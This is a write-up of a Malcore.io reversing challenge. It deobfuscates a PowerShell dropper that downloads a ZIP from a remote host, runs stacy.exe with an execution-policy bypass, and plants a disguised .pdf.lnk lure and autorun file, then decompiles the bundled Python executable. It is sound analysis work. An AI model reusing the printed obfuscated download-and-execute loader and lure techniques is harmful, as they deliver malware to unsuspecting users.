The Challenger
Recently Malcore.io post at X/Twitter a reversing challenges. The is related to script that is hosted here – https://raw.githubusercontent.com/Internet-2-0/file-samples/master/scripts/powershell/stacy.ps1
Dive! Dive! Dive!
At first glance, we saw what seems like a scrambled strings with several “eye-catchy” strings; resembling a function name – Invoke-WebRequest
, Expand-Archive
and the infamous -exECUtIonPOLicY bYpAsS stArT-ProcEss
. Immediately we know that this is indeed an obfuscated PowerShell script.
function llIIllIIllIIllIIllIIllIIllIIllIIllII($vP9MZDGjnoJ) {
$Mohfy6VuAN25tmCcilWJ = "\x90";
$xgWjzvyhbOVsU6La79 = $vP9MZDGjnoJ.replace($Mohfy6VuAN25tmCcilWJ, " ") -split " ";
$Mt = $xgWjzvyhbOVsU6La79.clone();
[array]::reverse($Mt);
$MXfstqmCoh2iTbaGnwr0j4Ny = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Mt));
return $MXfstqmCoh2iTbaGnwr0j4Ny;
}
function llIIllIIllIIllIIIIIIllIIllIlllllllII($7lGQcpZoLf6Yk2CPEezSv) {
$6cZyHm8aYQX=-join ((0x41..0x5a) + (0x61..0x7a) | Get-Random -Count 20 | % {[char]$_});
return "$6cZyHm8aYQX$7lGQcpZoLf6Yk2CPEezSv"
}
$hg34RNfykz5XdxBn287mU9=llIIllIIllIIllIIllIIllIIllIIllIIllII("=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90");
$tQsoNjk=llIIllIIllIIllIIllIIllIIllIIllIIllII("l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q");
$RXNPxpB=llIIllIIllIIllIIIIIIllIIllIlllllllII(".zip");
$CcAn4K8e=llIIllIIllIIllIIIIIIllIIllIlllllllII("");
Invoke-WebRequest $hg34RNfykz5XdxBn287mU9 -OutFile $RXNPxpB;Expand-Archive $RXNPxpB -DestinationPath $CcAn4K8e;
& $tQsoNjk -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH ".\$CcAn4K8e\stacy.exe";
Let’s try to go through the so called Function 1 & Function 2 in the script.
Function 1: llIIllIIllIIllIIllIIllIIllIIllIIllII
This function takes a string, replaces all occurrences of \x90
(which is a NOP operation in assembly, but here it’s just a placeholder) with a space, then splits the string into an array of individual elements. It then reverses the order of this array, decodes it from Base64, and converts it back into a UTF-8 string.
Function 2: llIIllIIllIIllIIIIIIllIIllIlllllllII
This function generates a random 20-character string of uppercase and lowercase letters. It then concatenates this random string with the input string ($7lGQcpZoLf6Yk2CPEezSv
) and returns the result.
Purpose: It is likely used to create random filenames or paths, making it harder to detect or track.
The variables $hg34RNfykz5XdxBn287mU9
and $tQsoNjk
store decoded strings (likely URLs or file paths) by using the llIIllIIllIIllIIllIIllIIllIIllIIllII
function to deobfuscate Base64 encoded and reversed strings.$RXNPxpB
and $CcAn4K8e
are generated as random filenames or paths by appending a random string to “.zip” and an empty string, respectively.
Invoke-WebRequest
is used to download a file (presumably a ZIP file) from the decoded URL ($hg34RNfykz5XdxBn287mU9
) and save it with random name that stored in $RXNPxpB
.Expand-Archive
used extracts the contents of this ZIP file to the directory stored in $CcAn4K8e
.
Finally, the script attempts to run an executable (stacy.exe) extracted from the ZIP file; using PowerShell’s Start-Process
with -ExecutionPolicy Bypass
to avoid script execution restrictions.
Since we know the purpose of both function, we can reverse the function in the script to see what those variable and ultimately the script purpose is. The variable in interest here is $hg34RNfykz5XdxBn287mU9
and $tQsoNjk
as these both variable represent URL and file path based on the script.
To deobfuscate it, we use PowerShell code below:
# Deobfuscating function
function Deobfuscate-String($obfuscatedString) {
# Step 1: Replace \x90 with space
$decodedString = $obfuscatedString.Replace("\x90", " ")
# Step 2: Reverse the string
$reversedString = -join ($decodedString.ToCharArray() | ForEach-Object {$_})[-1..-($decodedString.Length)]
return $reversedString
}
# Apply to the strings
$hg34RNfykz5XdxBn287mU9 = Deobfuscate-String "=\x90A\x90X\x90a\x906\x905\x90S\x90b\x90v\x901\x902\x90c\x905\x90N\x90W\x90Y\x900\x90N\x903\x90L\x90j\x90N\x90X\x90a\x90t\x909\x90i\x90c\x90l\x90R\x903\x90c\x90h\x901\x902\x90L\x903\x90F\x90m\x90c\x90v\x90M\x90X\x90Z\x90s\x90B\x90X\x90b\x90h\x90N\x90X\x90L\x90l\x90x\x90W\x90a\x90m\x909\x90C\x90M\x90t\x90I\x90T\x90L\x900\x90V\x90m\x90b\x90y\x90V\x90G\x90d\x90u\x90l\x900\x90L\x90t\x909\x902\x90Y\x90u\x90I\x90W\x90d\x90o\x90R\x90X\x90a\x90n\x909\x90y\x90L\x906\x90M\x90H\x90c\x900\x90R\x90H\x90a\x90"
# Now using the reversed string directly for Base64 decoding
$decodedPart = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hg34RNfykz5XdxBn287mU9))
# Output the results
Write-Output "Deobfuscated hg34RNfykz5XdxBn287mU9: $decodedPart"
# For $tQsoNjk
$tQsoNjk = Deobfuscate-String "l\x90h\x90X\x90Z\x90u\x90w\x90G\x90b\x90l\x90h\x902\x90c\x90y\x90V\x902\x90d\x90v\x90B\x90H\x90X\x90w\x904\x90S\x90M\x902\x90x\x90F\x90b\x90s\x90V\x90G\x90a\x90T\x90J\x90X\x90Z\x903\x909\x90G\x90U\x90z\x90d\x903\x90b\x90k\x905\x90W\x90a\x90X\x90x\x90l\x90M\x90z\x900\x90W\x90Z\x900\x90N\x90X\x90e\x90T\x90x\x901\x90c\x903\x909\x90G\x90Z\x90u\x90l\x902\x90V\x90c\x90p\x90z\x90Q"
$decodedPart2 = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($tQsoNjk))
# Output the results
Write-Output "Deobfuscated tQsoNjk: $decodedPart2"
The output of code above as follow:
Deobfuscated hg34RNfykz5XdxBn287mU9: hxxps://github.com/Internet-2-0/file-samples/raw/master/misc/stacysmom.zip
Deobfuscated tQsoNjk: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Now we know that these 2 variables in question purpose/use is. Basically its an URL that serves ZIP files to be fetch/downloaded and PowerShell.exe full path.
Finally, we know that this PowerShell command line is downloading file named “stacysmom.zip”, rename the .zip file in random name, extract it and executing file named “stacy.exe” via PowerShell start-process
parameter:
Invoke-WebRequest hxxps://github.com/Internet-2-0/file-samples/raw/master/misc/stacysmom.zip -OutFile cfEtdaKFlGIinrXvsSbj.zip;Expand-Archive cfEtdaKFlGIinrXvsSbj.zip -DestinationPath AeVxOnPuaXgtRGTvDbUj;
& C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH ".\AeVxOnPuaXgtRGTvDbUj\stacy.exe";
Next, we going to look what’s inside “stacysmom.zip” file are and their purpose.
Peeking stacysmom.zip
Now, let’s dive into the next file; “stacysmom.zip” and it’s content.
stacysmom.zip
SHA256 : 8bb0fe8d89b45ac3ebb7e5f63a57a41b95b511495ab43b1817c425a68647fc53
Inside the .zip file contains files and folder as follow:
stacysmom
├── .fi
│ ├── ch_1.lnk
│ ├── ed_9.lnk
│ └── ff_3.lnk
├── README.txt
├── autorun.ini
├── cliCk ME fOR inSTrucTioNs.pdf.lnk
├── just_m_logo.ico
└── stacy.exe
The file type details:
$ file stacysmom/*
autorun.ini: Microsoft Windows Autorun file
cliCk ME fOR inSTrucTioNs.pdf.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=0, Archive, ctime=Sat Jun 5 04:07:00 2021, mtime=Wed Jul 17 07:20:45 2024, atime=Sat Jun 5 04:07:00 2021, length=450560, window=hide
just_m_logo.ico: MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
stacy.exe: PE32+ executable (console) x86-64, for MS Windows, 6 sections
.fi/ch_1.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Jul 16 07:07:22 2024, mtime=Tue Jul 16 07:16:40 2024, atime=Fri Jun 21 18:25:32 2024, length=2795808, window=hide
.fi/ed_9.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Fri Jul 2 12:19:18 2021, mtime=Tue Jul 16 07:15:18 2024, atime=Wed Jul 10 22:59:33 2024, length=3883560, window=hide
.fi/ff_3.lnk: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Wed Jun 26 07:31:54 2024, mtime=Tue Jul 16 07:13:50 2024, atime=Wed Jun 26 07:31:57 2024, length=676936, window=hide
The content and target properties of the files (some of it):
ch_1.lnk target properties:
"C:\Program Files\Google\Chrome\Application\chrome.exe" "hxxps://link.malcore.io"
ed_9.lnk target properties:
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "hxxps://link.malcore.io"
ff_3.lnk target properties:
"C:\Program Files\Mozilla Firefox\firefox.exe" "hxxps://link.malcore.io"
autorun.ini contains:
[autorun]
action=Stacys mom
icon=just_m_logo.ico
open=stacy.exe
cliCk ME fOR inSTrucTioNs.pdf.lnk target properties:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exECUtIonPOLicY bYpAsS stArT-ProcEss -FilepaTH .\stacy.exe
So now we know that most of the code trying to executes file “stacy.exe”. Let’s dive into it next.
Journey to stacy.exe – Reversing PyInstaller executable
As usual, we’ll start by identifying and doing basic triage to understand more about the binary. Detect It Easy (DiE) shows the binary as PE64 with compiler C/C++:
But something that off a bit is it has ZLIB data compression which seems a bit suspicious. Seems like the binary is bundled with something.
Upon doing strings
on stacy.
exe, we can see that it is a Python3.9 binary.
PyInstaller also was used to convert the Python script to an executable:
In order to reverse the binary, we can use pyinstxtractor to the get the bytecode/.pyc:
PS C:\Users\Fossil\Downloads\pyinstxtractor-2024.04> python .\pyinstxtractor.py ..\SAMPLES!!\stacysmom\stacy.exe
[+] Processing ..\SAMPLES!!\stacysmom\stacy.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.9
[+] Length of package: 5877800 bytes
[+] Found 59 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: stacy.pyc
[!] Warning: This script is running in a different Python version than the one used to build the executable.
[!] Please run this script in Python 3.9 to prevent extraction errors during unmarshalling
[!] Skipping pyz extraction
[+] Successfully extracted pyinstaller archive: ..\SAMPLES!!\stacysmom\stacy.exe
You can now use a python decompiler on the pyc files within the extracted directory
It able to possible entry point and extract several files including stacy.pyc. Now we can use this .pyc file and convert it into original Python code.
To convert .pyc to source code/.py, we can use tools like using pycdc or online tool pylingual for conversion; in this case, I go for the latter:
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: stacy.py
# Bytecode version: 3.9.0beta5 (3425)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import os
import sys
import time
import string
import random
import platform
import base64
CCCcccCCccCCCccccCCCcccCCC = random
ccCccCccCCccccCCcccCCCcccc = CCCcccCCccCCCccccCCCcccCCC.SystemRandom()
ccCCccCCCCcCCcccCCCccCCCcc = ccCccCccCCccccCCcccCCCcccc.randint
def stacy_do_something():
aAAaaAaAAaaAAAAAAAaaAA = string
aAAaaAaaAaaAAAaaAAaaAA = ''
aAAaaAaAAaaAaaaaAAaaAA = ccCCccCCCCcCCcccCCCccCCCcc(1, 15)
aAAaaaaAAaaAAAAAAAaaAA = range
for _ in aAAaaaaAAaaAAAAAAAaaAA(aAAaaAaAAaaAaaaaAAaaAA):
aAAaaAaaAaaAAAaaAAaaAA += aAAaaAaAAaaAAAAAAAaaAA.ascii_letters
return aAAaaAaaAaaAAAaaAAaaAA
def stacy_get_me_a_sandwich():
qQqqQQqqqQQQqqQQQQQQ = ccCCccCCCCcCCcccCCCccCCCcc(1, 20)
qQqqQQqqqQQQqqqqqQQQ = []
qQqqQqqqqQQQqQQQqQQQ = random
qQqQQqqqqQQQqQqqqQQQ = sys
for qQqqQQQQQQQQqQqqqQQQ in range(qQqqQQqqqQQQqqQQQQQQ):
qQqqQQqqqQQQqQQQqQQQ = stacy_do_something()
qQqqQQqqqQQQqqqqqQQQ.insert(qQqqQQQQQQQQqQqqqQQQ, qQqqQQqqqQQQqQQQqQQQ)
if len(qQqqQQqqqQQQqqqqqQQQ) > ccCCccCCCCcCCcccCCCccCCCcc(1, 4):
if not any((QQqqQQqQQqQQQqQQQqQQ in qQqQQqqqqQQQqQqqqQQQ.path for QQqqQQqQQqQQQqQQQqQQ in qQqqQQqqqQQQqqqqqQQQ)):
if qQqqQqqqqQQQqQQQqQQQ.SystemRandom().randint(99, 100) < 1:
qQqQQqqqqQQQqQqqqQQQ.path.insert(0, qQqqQQqqqQQQqqqqqQQQ[-1])
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
else:
qqQQQqqqQQqqqqqqQQQq = qQqQQqqqqQQQqQqqqQQQ.path
return qqQQQqqqQQqqqqqqQQQq
def stacy_make_int(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU):
return ccCCccCCCCcCCcccCCCccCCCcc(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU)
def stacy_shut_up(oOoOoOoOoOoOoOoO=False, oOoOoOoooOoOoOOO=True):
oOoOoOoooOoooOOO = time
oOoOOOoooOoooOOO = oOoOoOoooOoooOOO.sleep
if oOoOoOoooOoOoOOO and (not oOoOoOoOoOoOoOoO):
oOOOoOoooOoOoOOO = stacy_make_int(1, 13)
elif not oOoOoOoooOoOoOOO and oOoOoOoOoOoOoOoO:
oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
elif oOoOoOoOoOoOoOoO and oOoOoOoooOoOoOOO:
oOOOoOoooOoOOOOO = stacy_make_int(1, 4)
oOoooOoooOoOOOOO = stacy_make_int(1, 13)
oOOOoOoooOoOoOOO = oOOOoOoooOoOOOOO + oOoooOoooOoOOOOO
else:
oOOOoOoooOoOoOOO = stacy_make_int(1, 4)
oOoOOOoooOoooOOO(oOOOoOoooOoOoOOO)
oOOOOOOooOoOoOOO = stacy_get_me_a_sandwich()
return oOOOOOOooOoOoOOO
def should_stacy_shut_up():
iIiIIiIIiiiIIii = stacy_make_int(1, 5) < 3
if iIiIIiIIiiiIIii:
iIiIIiIIiiiiIii = stacy_make_int(1, 4) > 2
iIIIIiIIiiiiIii = stacy_make_int(1, 10) < 5
stacy_shut_up(oOoOoOoooOoOoOOO=iIIIIiIIiiiiIii, oOoOoOoOoOoOoOoO=iIiIIiIIiiiiIii)
def is_stacy_in_the_right_spot():
should_stacy_shut_up()
eEEeeeeeeeEEEEEeeeeE = 'win'
eEEeeEEeeeEEEEEeeeeE = platform.platform()
EEEEeeEeeeEEEEEeeeeE = True
EEEEeeEEEeEEEEEeeeeE = False
if eEEeeeeeeeEEEEEeeeeE in eEEeeEEeeeEEEEEeeeeE.lower():
return EEEEeeEeeeEEEEEeeeeE
return EEEEeeEEEeEEEEEeeeeE
def stacy_dont_stay():
ccCCCCcccCCCccccCCccc = print
ccCCCCcccCCCccccCCccc('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')
def stacy_find_it():
should_stacy_shut_up()
bbBBbbBBbbbBBBBBBbbbbb = os
bbbBBbbbbbbBBBBbbbbbbB = bbBBbbBBbbbBBBBBBbbbbb.path
bbbBBbBBBbbBBBBbbbbbbB = bbbBBbbbbbbBBBBbbbbbbB.sep
bbbBBBBBbbbBBBBBbbBBbB = bbBBbbBBbbbBBBBBBbbbbb.getcwd
bbBbbbBbBBbBBBBbbbbbbB = f'{bbbBBBBBbbbBBBBBbbBBbB()}{bbbBBbBBBbbBBBBbbbbbbB}.fi'
bbBbbbBbBBbBbbBbbbbbbB = []
bbbbBBBBbbBBbBBbBBbBbb = '_'
should_stacy_shut_up()
BBbbBBbbbBBbBBbBBbbbbb = '.'
for bbBbbbBbBbbBbbBbbbbbbB in bbBBbbBBbbbBBBBBBbbbbb.listdir(bbBbbbBbBBbBBBBbbbbbbB):
bbBbbbBBBbbBbbBbbbbbbB = bbBbbbBbBbbBbbBbbbbbbB.split(bbbbBBBBbbBBbBBbBBbBbb)
try:
bbBbbbBBBBBBBbBbbbbbbB = int(bbBbbbBBBbbBbbBbbbbbbB[-1].split(BBbbBBbbbBBbBBbBBbbbbb)[0])
except Exception:
bbBbbbBBBBBBBbBbbbbbbB = 9
bbBbbbBbBBbBbbBbbbbbbB.append([f'{bbBbbbBbBBbBBBBbbbbbbB}{bbbBBbBBBbbBBBBbbbbbbB}{bbBbbbBbBbbBbbBbbbbbbB}', bbBbbbBBBBBBBbBbbbbbbB])
return bbBbbbBbBBbBbbBbbbbbbB
def stacy_make_pretty(zzZZzzzZZZZzzZZZzzZZZZZZ):
should_stacy_shut_up()
zzZZzzzzzzzzzZZZzzZZZzZZ = []
zzZZzzzzzZZZzZZZzzZZZzZZ = None
zzZZzzZZZzzzzZZZzzZZZzZZ = None
for zzZZzzzzzzzzzZZZzzZZZzZZ in zzZZzzzZZZZzzZZZzzZZZZZZ:
should_stacy_shut_up()
zzZZzzzZZZZzzZZZzzZZZzZZ, zzZZzzzZZZZzzZZZzzzzzzZZ = zzZZzzzzzzzzzZZZzzZZZzZZ
if zzZZzzzzzZZZzZZZzzZZZzZZ is not zzZZzzZZZzzzzZZZzzZZZzZZ:
should_stacy_shut_up()
if zzZZzzzZZZZzzZZZzzzzzzZZ < zzZZzzzzzZZZzZZZzzZZZzZZ:
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(0, zzZZzzzZZZZzzZZZzzZZZzZZ)
else:
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
else:
zzZZzzzzzzzzzZZZzzZZZzZZ.insert(-1, zzZZzzzZZZZzzZZZzzZZZzZZ)
zzZZzzzzzZZZzZZZzzZZZzZZ = zzZZzzzZZZZzzZZZzzzzzzZZ
should_stacy_shut_up()
zzZZzzzzzzzzzZZZzzZZZzZZ.reverse()
return zzZZzzzzzzzzzZZZzzZZZzZZ
def stacy_breaks_shit(yYYyYyyYyyyyyYYYYYY):
should_stacy_shut_up()
for yYYyYyyYyyyyyYYyYYY in yYYyYyyYyyyyyYYYYYY:
should_stacy_shut_up()
try:
os.startfile(yYYyYyyYyyyyyYYyYYY)
break
except:
pass
def run_stacy():
should_stacy_shut_up()
xXXxxXXxXxxXXx = is_stacy_in_the_right_spot()
if xXXxxXXxXxxXXx:
should_stacy_shut_up()
xXXxxXXxXXXXXx = stacy_find_it()
should_stacy_shut_up()
sorted_list = stacy_make_pretty(xXXxxXXxXXXXXx)
should_stacy_shut_up()
stacy_breaks_shit(sorted_list)
else:
stacy_dont_stay()
if __name__ == '__main__':
qqQQqqQQqqQQqqQQQqqQQQ = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
qqQQqqQQqqQQqqqqqqqQQQ = print
qqQQQQQQqqQQqqQQQqqQQQ = base64
QQQQqqQQqqQQqqQQQqqQQQ = qqQQQQQQqqQQqqQQQqqQQQ.b64decode
qqQQqqQQqqQQqqqqqqqQQQ(QQQQqqQQqqQQqqQQQqqQQQ(qqQQqqQQqqQQqqQQQqqQQQ).decode())
run_stacy()
Brief explanations on what the code does:
stacy_do_something()
: Generates a random string of ASCII letters.stacy_get_me_a_sandwich()
: Creates a list of random strings (usingstacy_do_something()
) and modifies the system path based on certain conditions.stacy_make_int(uUUuuUUUuuuUUuuuuUUUU, uUUuuUuUuUuUUuuuuUUUU)
: Returns a random integer between the given bounds.stacy_shut_up(oOoOoOoOoOoOoOoO=False, oOoOoOoooOoOoOOO=True)
: A sleep function with randomized timing, potentially adding delay before performing actions.should_stacy_shut_up()
: A conditional function that triggers thestacy_shut_up()
function based on certain random conditions.is_stacy_in_the_right_spot()
: Checks if the script is running on a Windows platform. ReturnsTrue
if it is Windows,False
otherwise.stacy_dont_stay()
: Prints a message suggesting that the script should be run on Windows.stacy_find_it()
: Searches the current directory for files ending with.fi
and returns a list of these files along with a numeric value derived from the filename.stacy_make_pretty(zzZZzzzZZZZzzZZZzzZZZZZZ)
: Takes a list of files, sorts them, and reverses the order.stacy_breaks_shit(yYYyYyyYyyyyyYYYYYY)
: Attempts to execute each file in the provided list usingos.startfile()
.run_stacy()
: Orchestrates the script’s main functionality by checking the platform, finding files, sorting them, and attempting to execute them if the platform is Windows.
Basically, those obfuscated Python code is equivalent something like this:
import os
import sys
import time
import string
import random
import platform
import base64
# Random and system random initialization
secure_random = random.SystemRandom()
random_int = secure_random.randint
def generate_random_string():
random_length = random_int(1, 15)
result_string = ''
for _ in range(random_length):
result_string += string.ascii_letters
return result_string
def create_random_string_list():
list_length = random_int(1, 20)
string_list = []
for _ in range(list_length):
random_string = generate_random_string()
string_list.insert(_, random_string)
if len(string_list) > random_int(1, 4):
if not any(random_string in sys.path for random_string in string_list):
if secure_random.randint(99, 100) < 1:
sys.path.insert(0, string_list[-1])
path = sys.path
else:
path = sys.path
else:
path = sys.path
else:
path = sys.path
return path
def random_sleep_time(flag1=False, flag2=True):
if flag2 and not flag1:
sleep_time = random_int(1, 13)
elif not flag2 and flag1:
sleep_time = random_int(1, 4)
elif flag1 and flag2:
sleep_time = random_int(1, 4) + random_int(1, 13)
else:
sleep_time = random_int(1, 4)
time.sleep(sleep_time)
return create_random_string_list()
def should_sleep():
if random_int(1, 5) < 3:
if random_int(1, 4) > 2 and random_int(1, 10) < 5:
random_sleep_time(flag2=True, flag1=True)
def is_windows():
should_sleep()
return 'win' in platform.platform().lower()
def suggest_windows():
print('MAYBE YOU SHOULD RUN THIS ON WINDOWS?')
def find_files():
should_sleep()
current_directory = os.getcwd()
fi_folder = os.path.join(current_directory, '.fi')
file_list = []
if os.path.exists(fi_folder) and os.path.isdir(fi_folder):
for filename in os.listdir(fi_folder):
try:
numeric_part = int(filename.split('_')[-1].split('.')[0])
except Exception:
numeric_part = 9
file_list.append([os.path.join(fi_folder, filename), numeric_part])
return file_list
def sort_files(file_list):
should_sleep()
sorted_list = []
for file_data in file_list:
filename, numeric_value = file_data
if sorted_list and numeric_value < sorted_list[-1][1]:
sorted_list.insert(0, file_data)
else:
sorted_list.append(file_data)
should_sleep()
sorted_list.reverse()
return sorted_list
def execute_file(file_list):
should_sleep()
for file_data in file_list:
filename, _ = file_data
should_sleep()
try:
os.startfile(filename)
break
except:
pass
def run():
should_sleep()
if is_windows():
should_sleep()
file_list = find_files()
should_sleep()
sorted_list = sort_files(file_list)
should_sleep()
execute_file(sorted_list)
else:
suggest_windows()
if __name__ == '__main__':
# Decode the Base64 encoded message and print it
base64_message = 'CiAgICAgIyUlICAgICAgICAgICAgICUlJSAgICAgCiAgICAgJSUlJSUgICAgICAgICAlJSUlJSAgICAgCiAgICAgJSUlJSUlJSAgICAgJSUlJSUlJSAgICAgCiAgICAgJSUlJSUlJSUlICUlJSUlJSUlJSAgICAgCiAgJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSAgCiAlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUgCiAlJSUlJSUlICUlJSUlJSUlJSUlICUlJSUlJSUgCiAlJSUlJSUlJSAgJSUlJSUlJSAgJSUlJSUlJSUgCiAlJSUlJSUlJSUlICAlJSUgICUlJSUlJSUlJSUgCiAlJSUlJSUlJSUgICAgICAgICAlJSUlJSUlJSUgCiAlJSUlJSUlICAgICAgICAgICAgICUlJSUlJSUKIApNYWxjb3JlOiBTaW1wbGUgRmlsZSBBbmFseXNpcw=='
print(base64.b64decode(base64_message).decode())
# Run the main functionality
run()
The End – Execution Flow
Now we know the purpose of the initial PowerShell script, the ZIP file content and the executable behavior. To end our journey, included here’s the diagram flow of execution:
START
|
v
.ps1 script
|
v
download and extract
stacysmom.zip
|---------------> autorun.ini
|----------------------|---------> cliCk ME fOR inSTrucTioNs.pdf.lnk --> powershell
| | |
v | |
execute stacy.exe <-----------⊥---------------------------------------------------- ⅃
|
v
Is the system Windows?
/ \
Yes No
| |
v v
Search for ".fi" Display message:
files "MAYBE YOU SHOULD RUN THIS ON WINDOWS?"
| |
v v
Sort ".fi" files END
|
v
Execute the first sorted file -----> chrome/edge/firefox -----> "hxxps://link.malcore.io"
|
v
Is execution successful?
/ \
Yes No
| |
v v
Terminate Try next file
|
v
End